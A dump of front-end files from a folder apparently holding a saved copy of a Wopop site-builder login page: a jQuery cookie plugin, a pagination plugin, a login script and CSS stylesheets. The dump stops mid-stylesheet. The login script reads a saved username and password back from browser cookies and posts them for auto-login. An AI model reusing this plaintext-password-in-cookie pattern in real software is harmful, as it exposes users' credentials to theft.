* when the the browser exits. * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie). * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie). * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will * require a secure protocol (like HTTPS). * @type undefined * * @name $.cookie * @cat Plugins/Cookie * @author Klaus Hartl/klaus.hartl@stilbuero.de */ /** * Get the value of a cookie with the given name. * * @example $.cookie('the_cookie'); * @desc Get the value of a cookie. * * @param String name The name of the cookie. * @return The value of the cookie. * @type String * * @name $.cookie * @cat Plugins/Cookie * @author Klaus Hartl/klaus.hartl@stilbuero.de */ jQuery.cookie = function(name, value, options) { if (typeof value != 'undefined') { // name and value given, set cookie options = options || {}; if (value === null) { value = ''; options.expires = -1; } var expires = ''; if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) { var date; if (typeof options.expires == 'number') { date = new Date(); date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000)); } else { date = options.expires; } expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE } var path = options.path ? '; path=' + options.path : ''; var domain = options.domain ? '; domain=' + options.domain : ''; var secure = options.secure ? '; secure' : ''; document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join(''); } else { // only name given, get cookie var cookieValue = null; if (document.cookie && document.cookie != '') { var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) { var cookie = jQuery.trim(cookies[i]); // Does this cookie string begin with the name we want? if (cookie.substring(0, name.length + 1) == (name + '=')) { cookieValue = decodeURIComponent(cookie.substring(name.length + 1)); break; } } } return cookieValue; } }; ================================================ FILE: web_simplecms/simplecms/Wopop_files/jquery.pagination.js ================================================ /** * This jQuery plugin displays pagination links inside the selected elements. * * @author Gabriel Birke (birke *at* d-scribe *dot* de) * @version 1.1 * @param {int} maxentries Number of entries to paginate * @param {Object} opts Several options (see README for documentation) * @return {Object} jQuery Object */ jQuery.fn.pagination = function(maxentries, opts) { opts = jQuery.extend({ items_per_page: 10, num_display_entries: 10, current_page: 0, num_edge_entries: 0, link_to: "#", prev_text: "Prev", next_text: "Next", ellipse_text: "", prev_show_always: true, next_show_always: true, callback: function() { return false; } }, opts || {}); return this.each(function() { /** * Calculate the maximum number of pages */ function numPages() { return Math.ceil(maxentries / opts.items_per_page); } /** * Calculate start and end point of pagination links depending on * current_page and num_display_entries. * @return {Array} */ function getInterval() { var ne_half = Math.ceil(opts.num_display_entries / 2); var np = numPages(); var upper_limit = np - opts.num_display_entries; var start = current_page > ne_half ? Math.max(Math.min(current_page - ne_half, upper_limit), 0) : 0; var end = current_page > ne_half ? Math.min(current_page + ne_half, np) : Math.min(opts.num_display_entries, np); return [start, end]; } /** * This is the event handling function for the pagination links. * @param {int} page_id The new page number */ function pageSelected(page_id, evt) { current_page = page_id; drawLinks(); var continuePropagation = opts.callback(page_id, panel); if (!continuePropagation) { if (evt.stopPropagation) { evt.stopPropagation(); } else { evt.cancelBubble = true; } } return continuePropagation; } /** * This function inserts the pagination links into the container element */ function drawLinks() { panel.empty(); var interval = getInterval(); var np = numPages(); // This helper function returns a handler function that calls pageSelected with the right page_id var getClickHandler = function(page_id) { return function(evt) { return pageSelected(page_id, evt); } } // Helper function for generating a single link (or a span tag if it'S the current page) var appendItem = function(page_id, appendopts) { page_id = page_id < 0 ? 0 : (page_id < np ? page_id : np - 1); // Normalize page id to sane value appendopts = jQuery.extend({ text: page_id + 1, classes: "current" }, appendopts || {}); if (page_id == current_page) { var lnk = $("" + (appendopts.text) + ""); } else { var lnk = $("" + (appendopts.text) + "") .bind("click", getClickHandler(page_id)) .attr('href', opts.link_to.replace(/__id__/, page_id)); } if (appendopts.classes) { lnk.removeAttr('class'); lnk.addClass(appendopts.classes); } panel.append(lnk); } // Generate "Previous"-Link if (opts.prev_text && (current_page > 0 || opts.prev_show_always)) { appendItem(current_page - 1, { text: opts.prev_text, classes: "disabled" }); } // Generate starting points if (interval[0] > 0 && opts.num_edge_entries > 0) { var end = Math.min(opts.num_edge_entries, interval[0]); for (var i = 0; i < end; i++) { appendItem(i); } if (opts.num_edge_entries < interval[0] && opts.ellipse_text) { jQuery("" + opts.ellipse_text + "").appendTo(panel); } } // Generate interval links for (var i = interval[0]; i < interval[1]; i++) { appendItem(i); } // Generate ending points if (interval[1] < np && opts.num_edge_entries > 0) { if (np - opts.num_edge_entries > interval[1] && opts.ellipse_text) { jQuery("" + opts.ellipse_text + "").appendTo(panel); } var begin = Math.max(np - opts.num_edge_entries, interval[1]); for (var i = begin; i < np; i++) { appendItem(i); } } // Generate "Next"-Link if (opts.next_text && (current_page < np - 1 || opts.next_show_always)) { appendItem(current_page + 1, { text: opts.next_text, classes: "disabled classjason" }); } } // Extract current_page from options var current_page = opts.current_page; // Create a sane value for maxentries and items_per_page maxentries = (!maxentries || maxentries < 0) ? 1 : maxentries; opts.items_per_page = (!opts.items_per_page || opts.items_per_page < 0) ? 1 : opts.items_per_page; // Store DOM element for easy access from all inner functions var panel = jQuery(this); // Attach control functions to the DOM element this.selectPage = function(page_id) { pageSelected(page_id); } this.prevPage = function() { if (current_page > 0) { pageSelected(current_page - 1); return true; } else { return false; } } this.nextPage = function() { if (current_page < numPages() - 1) { pageSelected(current_page + 1); return true; } else { return false; } } // When all initialisation is done, draw the links drawLinks(); }); } ================================================ FILE: web_simplecms/simplecms/Wopop_files/jquery.ui.all.css ================================================ /* * jQuery UI CSS Framework 1.8.11 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming */ @import "jquery.ui.base.css"; @import "jquery.ui.theme.css"; ================================================ FILE: web_simplecms/simplecms/Wopop_files/login.js ================================================ $(function () { $('#button,#Retrievenow,#denglou').css('opacity', 0.7).hover(function () { $(this).stop().fadeTo(650, 1); }, function () { $(this).stop().fadeTo(650, 0.7); }); if ($.cookie("codeusername") != null) { $.ajax({ type: "POST", url: '/users/AjaxServer/checkis.ashx', data: { typex: 1 }, async: false, success: function (data) {///去更新cookies if (data == "NotLogin") { ///沒有登錄 getLogStatx(2); //没有记录cookies 的登录状态 } else { window.location.href = "http://home.wopop.com/UserHome/ot5lst/website.aspx"; } } }); } $("#button").click(function () { var username = $("#username").val(); var userpwd = $("#userpwd").val(); if (username.length > 0 && userpwd.length > 0) { getLogStatx(1); } }); ////忘记密码 $("#iforget").click(function () { $("#login_model").hide(); $("#forget_model").show(); }); ///取回密码 $("#Retrievenow").click(function () { var usrmail = $("#usrmail").val(); if (!Test_email(usrmail)) { // alert(msgggg.pssjs1); return false; } $.ajax({ type: "POST", url: '/users/AjaxServer/checkis.ashx', data: { typex: 5, usrmail: usrmail }, success: function (data) {// alert(data); $("#login_model").show(); $("#forget_model").hide(); $("#usrmail").val(""); $("#username").val(""); $("#userpwd").val(""); } }); }); //返回 $("#denglou").click(function () { $("#usrmail").val(""); $("#username").val(""); $("#userpwd").val(""); $("#login_model").show(); $("#forget_model").hide(); }); //typexx 自动 还是手动 function getLogStatx(typex) { var current = (location.href); var screenwidth = $(window).width(); var screenheight = $(window).height(); var username = $("#username").val(); var userpwd = $("#userpwd").val(); var issavecookies = "NO"; if ($("#save_me").attr("checked") == true) { issavecookies = "Yes"; } else { issavecookies = "NO"; } var l_dot = screenwidth + "*" + screenheight; if (typex == "2") { if (username == null && userpwd == null) { ////保存了cook username = $.cookie('codeusername'); userpwd = $.cookie('codeppsd'); $.ajax({ type: "POST", url: '/users/AjaxServer/Ajax_User_Loading.ashx', data: { username: username, userpwd: userpwd, issavecookies: issavecookies, l_dot: l_dot, typex: 2 }, success: function (data) {///去更新cookies if (current.indexOf("index.aspx") > -1) { } else { if (data == "0" || data == "1") { window.location.href = "http://home.wopop.com/UserHome/ot5lst/website.aspx"; } else { ot5alert(data, "1"); } } } }); } } else if (typex == "1") { ///// 手動 登錄 $.ajax({ type: "POST", url: '/users/AjaxServer/Ajax_User_Loading.ashx', data: { username: username, userpwd: userpwd, issavecookies: issavecookies, l_dot: l_dot, typex: 1 }, success: function (data) {///去更新cookies if (data == "0" || data == "1") { window.location.href = "http://home.wopop.com/UserHome/ot5lst/website.aspx"; } else { ot5alert(data, "1"); } } }); } } }); //Email 规则以后重新整理所有网站关于js 验证 function Test_email(strEmail) { var myReg = /^[-a-z0-9\._]+@([-a-z0-9\-]+\.)+[a-z0-9]{2,3}$/i; if (myReg.test(strEmail)) return true; return false; } ================================================ FILE: web_simplecms/simplecms/Wopop_files/pagination.css ================================================ div.megas512 { height: 25px; padding-top:12px; margin: 5px; padding-left: 7px; text-indent: 0; text-align:center; } div.megas512 a { } div.megas512 a:hover { } #Pagination .current { background: url("/pop/web/images/page.gif") no-repeat scroll -88px 0 transparent; color: #B5B3B3; cursor: pointer; display: inline-block !important; height: 24px !important; line-height: 24px; margin-left: 3px; position: relative; text-align: center; top: -8px; width: 22px; position: relative; top: -16px;*top: -12px; } #Pagination .current:hover { background-position:-88px -24px; color:#fff;} #Pagination span.current{ background-position:-88px -24px; color:#fff;} #Pagination .disabled { background: url("/pop/web/images/page.gif") no-repeat -44px 0px scroll transparent; color: #B5B3B3; cursor: pointer; display: inline-block !important; height: 24px !important; line-height: 24px; margin-left: 3px; position: relative; text-align: center; top: -8px; width: 22px;} #Pagination .disabled:hover {background-position:-44px -24px;} #Pagination .classjason{background: url("/pop/web/images/page.gif") no-repeat -66px 0px scroll transparent; color: #B5B3B3; cursor: pointer; display: inline-block !important; height: 24px !important; line-height: 24px; margin-left: 3px; position: relative; text-align: center; top: -8px; width: 22px;} #Pagination .classjason:hover{background-position:-66px -24px;} #Pagination_S .current { background: url("/pop/web/images/page.gif") no-repeat scroll -88px 0 transparent; color: #B5B3B3; cursor: pointer; display: inline-block !important; height: 24px !important; line-height: 24px; margin-left: 3px; position: relative; text-align: center; top: -8px; width: 22px; position: relative; top: -16px;*top: -12px; } #Pagination_S .current:hover { background-position:-88px -24px; color:#fff;} #Pagination_S span.current{ background-position:-88px -24px; color:#fff;} #Pagination_S .disabled { background: url("/pop/web/images/page.gif") no-repeat -44px 0px scroll transparent; color: #B5B3B3; cursor: pointer; display: inline-block !important; height: 24px !important; line-height: 24px; margin-left: 3px; position: relative; text-align: center; top: -8px; width: 22px;} #Pagination_S .disabled:hover {background-position:-44px -24px;} #Pagination_S .classjason{background: url("/pop/web/images/page.gif") no-repeat -66px 0px scroll transparent; color: #B5B3B3; cursor: pointer; display: inline-block !important; height: 24px !important; line-height: 24px; margin-left: 3px; position: relative; text-align: center; top: -8px; width: 22px;} #Pagination_S .classjason:hover{background-position:-66px -24px;} /* #Pagination_S{ margin-top:20px;}*/ #dmepagination .current { background: url("/pop/web/images/page.gif") no-repeat scroll -88px 0 transparent; color: #B5B3B3; cursor: pointer; display: inline-block !important; height: 24px !important; line-height: 24px; margin-left: 3px; position: relative; text-align: center; top: -8px; width: 22px; position: relative; top: -16px;*top: -12px; } #dmepagination .current:hover { background-position:-88px -24px; color:#fff;} #dmepagination span.current{ background-position:-88px -24px; color:#fff;} #dmepagination .disabled { background: url("/pop/web/images/page.gif") no-repeat -44px 0px scroll transparent; color: #B5B3B3; cursor: pointer; display: inline-block !important; height: 24px !important; line-height: 24px; margin-left: 3px; position: relative; text-align: center; top: -8px; width: 22px;} #dmepagination .disabled:hover {background-position:-44px -24px;} #dmepagination .classjason{background: url("/pop/web/images/page.gif") no-repeat -66px 0px scroll transparent; color: #B5B3B3; cursor: pointer; display: inline-block !important; height: 24px !important; line-height: 24px; margin-left: 3px; position: relative; text-align: center; top: -8px; width: 22px;} #dmepagination .classjason:hover{background-position:-66px -24px;} /*#dmepagination{ margin-top:20px;}*/ #Pagination_T .current { background: url("/pop/web/images/page.gif") no-repeat scroll -88px 0 transparent; color: #B5B3B3; cursor: pointer; display: inline-block !important; height: 24px !important; line-height: 24px; margin-left: 3px; position: relative; text-align: center; top: -8px; width: 22px; position: relative; top: -16px;*top: -12px; } #Pagination_T .current:hover { background-position:-88px -24px; color:#fff;} #Pagination_T span.current{ background-position:-88px -24px; color:#fff;} #Pagination_T .disabled { background: url("/pop/web/images/page.gif") no-repeat -44px 0px scroll transparent; color: #B5B3B3; cursor: pointer; display: inline-block !important; height: 24px !important; line-height: 24px; margin-left: 3px; position: relative; text-align: center; top: -8px; width: 22px;} #Pagination_T .disabled:hover {background-position:-44px -24px;} #Pagination_T .classjason{background: url("/pop/web/images/page.gif") no-repeat -66px 0px scroll transparent; color: #B5B3B3; cursor: pointer; display: inline-block !important; height: 24px !important; line-height: 24px; margin-left: 3px; position: relative; text-align: center; top: -8px; width: 22px;} #Pagination_T .classjason:hover{background-position:-66px -24px;} ================================================ FILE: web_simplecms/simplecms/Wopop_files/style.css ================================================ @charset "utf-8"; /* CSS Document */ body { margin:0; background:#e7e7e7; color:#797979; } h1, h2, h3, h4, h5, h6 { font-family: "microsoft yahei", Arial, Helvetica, sans-serif; font-size:18px; font-weight:normal; margin:0; padding:0; } ol, ul, li, div, p, dl, dt, dd { list-style:none; padding:0; text-justify:inter-ideograph; font-size:12px; font-family:Arial, Helvetica, sans-serif; margin:0px; } a, img, table, td, tr { border:none; } .clear { clear:both; } /* a { color:#ff3800 ;text-decoration:none}*/ a { color:#2D2D2D ;text-decoration:none} a:hover { text-decoration:none } input, select, textarea { font-family:Arial, Helvetica, sans-serif; padding:1px;} a { blr:expression(this.onFocus=this.blur()) } /*for IE*/ a { outline:none; } /*for Firefox*/ /* 头部 */ #header { margin:0 auto; width:992px; z-index:2; position:relative;} #logo_zh { background:url(../images/Logo_zh.gif) no-repeat center center; width:310px; height:100px; float:left; cursor:pointer; } #logo_en { background:url(../images/Logo_en.gif) no-repeat center center; width:310px; height:100px; float:left; cursor:pointer; } #logo { background:url(../images/Logo.gif) no-repeat center center; width:310px; height:100px; float:left; cursor:pointer; } #login {float: right;} #language { margin: 30px 0 0 -460px; color:#000; position:absolute;} #language img,.language img{ vertical-align:middle; margin: 0 3px 2px 0 ;} .copyrights{text-indent:-9999px;height:0;line-height:0;font-size:0;overflow:hidden;} .language:hover{ color:#333;} #log { float:left; } #log input { background:#fff; border:solid 1px #d4d4d4; width:88px; height:17px; vertical-align: middle; } .sub_login { width:69px; text-align:center; height:22px; line-height:22px; color:#fff !important; text-decoration:none; font-weight:bold; margin-left:20px; background:url(../images/bg.gif) no-repeat; border:none; margin-right:0px !important; } #forget { padding-top:20px; color:#c4c4c4; text-align:right; } #forget input { vertical-align: middle; margin-right:10px; } #forget a { color:#797979; text-decoration:none; } .s_money{ border:1px solid #ccc; margin-left:5px;} /*#content{background:#fff url(../images/content_bg.gif) repeat-x; height:500px; width:980px; margin:0 auto; border:1px solid #fff; -moz-box-shadow:1px 1px 5px #ccc;-webkit-box-shadow:1px 1px 5px #ccc;box-shadow:1px 1px 5px #ccc;}*/ /* 主体 */ #content { background:url(../images/content_bg1.gif) repeat-y; width:992px; margin:0 auto; overflow:hidden; z-index:1; } #content1{background: url(../images/content_bg2.gif) repeat-x scroll 0 0 transparent; margin: 0 7px;overflow: hidden;padding-bottom: 8px;} #top { background:url(../images/top_bg.gif) no-repeat; } #menu { padding:14px 0 50px 14px; } #nav1 { width:558px; overflow:hidden; float:left; } #nav { text-align:left; background:url(../images/nav_bg.gif) repeat-x; border-left:solid 1px #167cb7; border-top:solid 1px #157ab3; height:46px; width:578px; overflow:hidden; } #nav ul li { float:left; background:url(../images/nav_li_bg.gif) no-repeat right; } #nav ul li a { font-family:"microsoft yahei", Arial, Helvetica, sans-serif; font-size:14px; color:#fff; text-decoration:none; padding:0 17px; line-height:45px; display:block; margin-top:-1px; height:46px;} #nav ul li a[id='zh'] { font-family:"microsoft yahei", Arial, Helvetica, sans-serif; font-size:14px; color:#fff; text-decoration:none; padding:0 17px; line-height:45px; display:block; margin-top:-1px; height:46px;} #nav ul li a[id='en'] { font-family:"microsoft yahei", Arial, Helvetica, sans-serif; font-size:14px; color:#fff; text-decoration:none; padding-left:15px;padding-right:18px; line-height:45px; display:block; margin-top:-1px; height:46px;} #nav ul li:hover { background:#08578e; } .quick_web { float:left; margin-left:10px; background:url(../images/quick_sub.jpg) no-repeat 0 -0px; width:194px; height:49px; } .quick_web:hover { background:url(../images/quick_sub.jpg) no-repeat 0 -49px; } .quick_web_zh { float:left; margin-left:10px; background:url(../images/quick_sub_zh.jpg) no-repeat 0 -0px; width:194px; height:49px; } .quick_web_zh:hover { background:url(../images/quick_sub_zh.jpg) no-repeat 0 -49px; } .quick_web_en { float:left; margin-left:10px; background:url(../images/quick_sub_en.jpg) no-repeat 0 -0px; width:194px; height:49px; } .quick_web_en:hover { background:url(../images/quick_sub_en.jpg) no-repeat 0 -49px; } .quick_shop { float:left; margin-left:8px; background:url(../images/quick_sub.jpg) no-repeat -200px 0px; width:194px; height:49px; } .quick_shop:hover { background:url(../images/quick_sub.jpg) no-repeat -200px -49px; } .quick_shop_zh { float:left; margin-left:8px; background:url(../images/quick_sub_zh.jpg) no-repeat -200px 0px; width:194px; height:49px; } .quick_shop_zh:hover { background:url(../images/quick_sub_zh.jpg) no-repeat -200px -49px; } .quick_shop_en { float:left; margin-left:8px; background:url(../images/quick_sub_en.jpg) no-repeat -200px 0px; width:194px; height:49px; } .quick_shop_en:hover { background:url(../images/quick_sub_en.jpg) no-repeat -200px -49px; } /* BANNER */ #js { pwidth:100%; overflow:hidden; background:url(../images/content_bg1.gif) repeat-y center top; _background:url(../images/content_bg6.gif) repeat-y center top; } #op { width:992px; margin:0 auto; } /*#c01 { text-align:center; background:url(../images/banner_web.jpg) no-repeat center center; height:247px; z-index:100px; display:block; } #c02 { text-align:center; background:url(../images/banner_shop.jpg) no-repeat center center; height:247px; z-index:100px; }*/ .web { background:url(../images/bg.gif) no-repeat 0 -151px; height:188px; width:418px; padding:8px 20px; float:left; margin-left:29px; _display:inline; } .web h1 { color:#445e84; font-size:20px; height:60px; line-height:40px; background:url(../images/icon.gif) no-repeat 0 -70px; text-indent:40px; } .web h2 { color:#696969; font-size:14px; line-height:30px; padding-bottom:5px; } .sub_web { background:url(../images/sub_bg.jpg) no-repeat -0px 0px; width:185px; height:60px; display:block; display:block; position:relative; left:-3px;} .sub_web:hover { background:url(../images/sub_bg.jpg) no-repeat -0px -60px; } .sub_web_zh { background:url(../images/sub_bg_zh.jpg) no-repeat -0px 0px; width:185px; height:60px; display:block; display:block; position:relative; left:-3px;} .sub_web_zh:hover { background:url(../images/sub_bg_zh.jpg) no-repeat -0px -60px; } .sub_web_en { background:url(../images/sub_bg_en.jpg) no-repeat -0px 0px; width:185px; height:60px; display:block; display:block; position:relative; left:-3px;} .sub_web_en:hover { background:url(../images/sub_bg_en.jpg) no-repeat -0px -60px; } .shop { background:url(../images/bg.gif) no-repeat 0 -365px; height:188px; width:418px; padding:8px 20px; float:left; margin-left:18px; } .shop h1 { color:#445e84; font-size:20px; height:60px; line-height:40px; background:url(../images/icon.gif) no-repeat 0 -120px; text-indent:40px; } .shop h2 { color:#696969; font-size:14px; line-height:30px; padding-bottom:5px; } .sub_shop { background:url(../images/sub_bg.jpg) no-repeat -190px -0px; width:185px; height:60px; display:block; position:relative; left:-3px;} .sub_shop:hover { background:url(../images/sub_bg.jpg) no-repeat -190px -60px; } .sub_shop_zh { background:url(../images/sub_bg_zh.jpg) no-repeat -190px -0px; width:185px; height:60px; display:block; position:relative; left:-3px;} .sub_shop_zh:hover { background:url(../images/sub_bg_zh.jpg) no-repeat -190px -60px; } .sub_shop_en { background:url(../images/sub_bg_en.jpg) no-repeat -190px -0px; width:185px; height:60px; display:block; position:relative; left:-3px;} .sub_shop_en:hover { background:url(../images/sub_bg_en.jpg) no-repeat -190px -60px; } .hidden { display:none; } /* 服务 */ #server { padding:45px 0 20px 0; margin:0 30px; overflow:hidden; width:1100px;} #server_l{ background:url(../images/server_l.gif) no-repeat;} #server_l dl{padding-left:130px; height:67px; margin-bottom:20px;} #server_l dt{ color:#445e84; font-size:18px;font-family:"microsoft yahei"; line-height:18px; padding-bottom:15px;} #server_l dd{ line-height:20px;} #server_r,#server_l{ float:left; width:450px; overflow:hidden;} #server_r{ padding-left:30px;} #server h1 { font-size:18px; color:#445e84; border-bottom: solid 1px #ededed; line-height:18px; padding-bottom:22px; text-indent:15px;} #server_con { padding-left:3px;} #server_con ul { width:600px; overflow:hidden; padding-top:10px;} #server_con li { font-size:14px; color:#646464; background:url(../images/icon.gif) no-repeat 0 13px; line-height:41px; float:left; text-indent:25px; width:242px; } #server_con .ts { font-size:14px; font-weight:bold; color:#5a6472; background:url(../images/icon.gif) no-repeat 1px -25px; text-indent:25px; line-height:40px; } /* 底部 */ #footer { width:972px; margin:0 auto; line-height:24px; background:url(../images/footer_bg.gif) no-repeat center top; padding:5px 10px; } #footer span { } #footer span a { } /* 选择模板 */ #temp_more { height:602px; border:solid 1px #fff; margin:0 auto; background:#fff; } #temp_more .top { background:url(../images/more_h1.gif) repeat-x; height:65px; } #temp_more .close { background:url(../images/temp_more_bg.gif) no-repeat 0px -70px; display:block; float:right; height:28px; width:28px; position:relative; margin:-47px 15px 0px 0px; } #temp_more p { font-size:20px; color:#626262; line-height:65px; background:url(../images/temp_more_bg.gif) no-repeat 15px 10px; text-indent:65px; font-family: "microsoft yahei"; } #temp_more .tem { padding:0px 20px; } #temp_more .tem li { display: inline; float: left; margin: 30px 17px 0 17px; } #temp_more .tem li span { background: url(../images/temp_more_bg.gif) no-repeat scroll 0 -128px transparent; color: #FFFFFF; display: block; height: 27px; line-height: 23px; text-align: center; width: 145px; } #temp_more .tem li span a { color:#fff; text-decoration:none; } #temp_more .page { text-align:center; margin-top:40px; } #temp_more .page a { text-decoration:none; color:#626262; padding:5px 10px; } #temp_more .page a:hover { background:#34baff; color:#fff; } #ibanner { height:450px; } ul#output li { position: absolute; height: 240px; z-index:1;} .bg_btn_con{border-top: 1px solid #DCDCDC;margin: 0 auto;padding: 20px;text-align: center;width: 912px;} .bg_btn { background: url("../images/btn_bng.gif") repeat-x scroll 0 0 transparent; border: medium none; color: #FFFFFF; cursor: pointer; height: 24px; line-height: 22px; text-align: center; width: 108px; } .bg_btn_new { background: url("../images/btn_bng.gif") repeat-x scroll 0 0 transparent; border: medium none; color: #FFFFFF; cursor: pointer; height: 24px; line-height: 22px; text-align: center; width: 108px; padding:5px 10px; margin-right:5px;} #button2, #button4 { margin-left: 32px; } #tinybox { position:absolute; display:none; background:#ffffff url(../images/preload.gif) no-repeat 50% 50%; border:10px solid #e3e3e3; z-index:2000; } #tinymask { position:absolute; display:none; top:0; left:0; height:100%; width:100%; background:#000000; z-index:1500; } #tinycontent { background:#ffffff; font-size:1.1em; } .p_info_error { padding:10px; height:200px; background:url(../images/error.png) no-repeat 50px 70px; font-family:microsoft yahei; font-size:16px; padding:100px 0 0 200px; line-height:40px;} .p_info_right { height:150px; background:url(../images/right.png) no-repeat 50px 70px; font-family:microsoft yahei; font-size:16px; padding:100px 0 0 200px; line-height:40px;} /*-----Demo Styles IMPORTANT - YOU CAN REMOVE THE FOLLOWING STYLES WHEN USING IN YOUR PROJECTS -----*/ /*-----Position and hide the dropdown-----*/ .drop { display:none; z-index:10000000; -webkit-box-shadow: 0 2px 4px 0 rgba(0, 0, 0, .4); -moz-box-shadow: 0 2px 4px 0 rgba(0, 0, 0, .4); box-shadow: 0 2px 4px 0 rgba(0, 0, 0, .4); background:#f4f4f4;left: 60px; position:absolute; top: 36px; width:324px; z-index:1000;*left:63px;*top: 38px; } /*-----Dropdown form element-----*/ #loform { border:solid 1px #fff; width:340px;background: #f4f4f4; clear:both; -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .2); -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, .2); box-shadow: 0 1px 2px rgba(0, 0, 0, .2); margin-top:6px; } .required{ background:url(../images/input_bgnew.gif) no-repeat; border:solid 1px #d7d7d7; padding:5px 0px; width:210px; *width:200px;} .drop P{ line-height:40px;} .remember{padding:0px 0 0 56px; line-height:40px;} .remember input{vertical-align: middle; } .log_bottom{background:url(../images/login_bottom.gif) no-repeat; height:50px; line-height:50px;} .log_bottom a{ width:160px; display:block; float:left; text-align:center; text-decoration:none; color:#666; text-indent:30px;} .log_bottom a:hover{ color:#999;} /*-----Signin link-----*/ #login1{ margin:-1px 0 0 140px;} .signin {background:url(../images/login_sub.gif) no-repeat; width:69px; height:22px; color:#fff; text-decoration:none; display:inline-block;text-align:center; line-height:22px;} /*-----Signin clicked state-----*/ .signinclick { background:#f4f4f4; width:69px; height:22px; color:#FF3800; text-decoration:none; display:inline-block;text-align:center; line-height:22px; box-shadow: 0 2px 4px 0 rgba(0, 0, 0, .4);} /*-----Submit Button-----*/ .subin1 {background:url(../images/login_sub.gif); border:none; color:#fff; width:69px; height:22px; margin:10px 0 0 203px; cursor:pointer; } .regbtn {background:url(../images/reg_button.gif) no-repeat; width:69px; height:22px; color:#fff; text-decoration:none; display:inline-block; text-align:center; line-height:22px; margin-left:5px;} /*-----Inputs----- #login_jasons{ height:100px;} .language_s{left: 650px; position: relative; top: -74px; width:100px;} .ch{ font-size:12px; width:120px; display:inline-block; padding:10px 0 0 10px; line-height:30px;cursor:pointer;} .ch_hover{ background:url(/images/languagetop.png) no-repeat; color:#fff; display: inline-block;cursor:pointer;} .select_langhover{ background:url(/images/languagebtm.png) bottom; color:#fff;} .select_lang{display:none; width:114px; padding:0 0 10px 10px;} .select_lang li{ line-height:30px;cursor:pointer;} .select_lang li:hover{ color:#ccc; cursor:pointer;} .language_s img{ padding-right:5px; position:relative; top:1px;} .l_jt{ position:relative; right:-10px; top:-1px !important;} #longed_jason{float: right;margin: 40px 0 0 558px;position: absolute;width: 431px;} .language_s_jason{left: 454px;position: relative;top: -72px;width: 100px;} .language_s_jason img{ padding-right:5px; position:relative; top:1px;} #tw,#en,#zh{cursor: pointer;display: inline-block;font-size: 12px;line-height: 30px;padding: 10px 0 0 10px; } .ullogines li{padding :10px 0 0 20px !important;} .ul_jason li{padding :10px 0 0 20px !important;} */ .cnzz a{ color:#e7e7e7} .qipaoclass{ background: url("../userhome/ot5lst/images/bo.png") no-repeat scroll 0 0 transparent; height:80px; color: Black; font-family: Tahoma; font-size: 12px; padding: 0 19px; position:absolute; display: inline-block; padding-bottom:10px; margin:30px 0px 0px -10px; margin:30px 0px 0px -10px \9\0; margin:30px 0px 0px -390px \9; } @-moz-document url-prefix() {.qipaoclass { margin:30px 0px 0px -390px }} .qipaoclass p { line-height: 24px; margin-top: 16px;} .tst{ float:left; height:33px;} ================================================ FILE: web_simplecms/simplecms/Wopop_files/style_log.css ================================================ @charset "utf-8"; /*------------// Overall //------------------*/ body{font:12px/180% Arial,Helvetica,Verdana;color:#5a5a5a; margin:0; background:#FFF;} body.login{ background:url(login_bgx.gif);} table,td{font:12px/180% Arial, "宋体",Helvetica, sans-serif,Verdana; color:#58595b;} table{border-collapse:collapse; border-spacing:0; empty-cells:show; } th, td { border-collapse:collapse; } A:link{text-decoration:none; color:#58595b;} A:visited{text-decoration:none; color:#58595b;} A:hover{text-decoration:none; color:#206fd5;} img{ border:0; } div,p,img,ul,li,form,input,label,span,dl,dt,dd,h1,h2,h3,h4,h5,h6{margin:0;padding:0;} input[type="reset"]::-moz-focus-inner, input[type="button"]::-moz-focus-inner, input[type="submit"]::-moz-focus-inner, input[type="file"] > input[type="button"]::-moz-focus-inner{ border:none;padding:0 } ol,ul,li{list-style-type:none;} .overz{ overflow:auto; zoom:1; overflow-x:hidden; overflow-y:hidden;} .dspn{ display:none;} a{blr:expression(this.onFocus=this.blur())} /*for IE*/ a{outline:none;} /*for Firefox*/ html{-webkit-text-size-adjust:none;} /*------------// layout //------------------*/ #box{ width:100%; margin:0 auto;} .top_bg{ background:url(../images/main_bg.jpg) no-repeat center top; height:634px;} .top{ width:1000px; margin:0 auto;} .header{ padding-top:22px; height:46px;} #logo{ float:left;} #nav{ float:right; margin-right:24px; padding-top:12px;} #nav ul li{ float:left; width:55px; height:20px; margin-right:8px; line-height:20px; text-align:center; font-size:13px;} #nav ul li a{ display:block; color:#656565; height:20px;} #nav ul li a:hover{ background:url(../images/site_bg.png) no-repeat; color:#FFF;} #nav ul li.local a{background:url(../images/site_bg.png) no-repeat; color:#FFF; } .top_bg_c{ background:url(../images/top_bg.gif);} .main_area{ margin-top:45px;} .index_left{ width:520px; float:left; } .index_right{ width:412px; float:right; margin-right:26px; padding-top:23px;} .free_website_font{ padding-top:7px;} .free_website_font .title{ margin-bottom:12px;} .free_website_font .intro{ font-family:Tahoma; width:300px; margin-left:124px; line-height:24px; margin-bottom:20px;} .site_link{ padding-left:120px;} .site_link a{ display:block; } .site_link a.star_now{ background:url(../images/site_bg.png) no-repeat 0 -20px; height:92px; width:296px; margin-bottom:17px;} .site_link a.star_now:hover{ background-position:0 -112px; } .site_link a.templates{ background:url(../images/site_bg.png) no-repeat 0 -205px; height:88px; width:296px; margin-bottom:24px;} .site_link a.templates:hover{ background-position:0 -294px; } .system_description{ padding-left:124px; font-size:11px;} .system_description .sys_des_left{ float:left; } .system_description .sys_des_right{ float:right; text-align:right;} .system_description p{ margin-bottom:5px;} .main_web{ padding:27px 26px 0 26px; width:1000px; margin:0 auto;} .template_list_left{ float:left; width:842px; padding-left:5px;} .template_list_category{ float:right; width:115px;} .color_bar{ font-size:12px; height:20px; line-height:20px; margin-bottom:24px;} .color_bar h2{ float:left; font-size:12px; margin-right:5px;} .color_bar .color_link{ float:left;} .color_bar a{ display:inline-block; width:44px; float:left; text-align:center; margin-right:5px;} .color_bar a:hover{ background:url(../images/site_bg.png) no-repeat -55px 0; color:#FFF;} .color_bahover{background:url(../images/site_bg.png) no-repeat -55px 0; 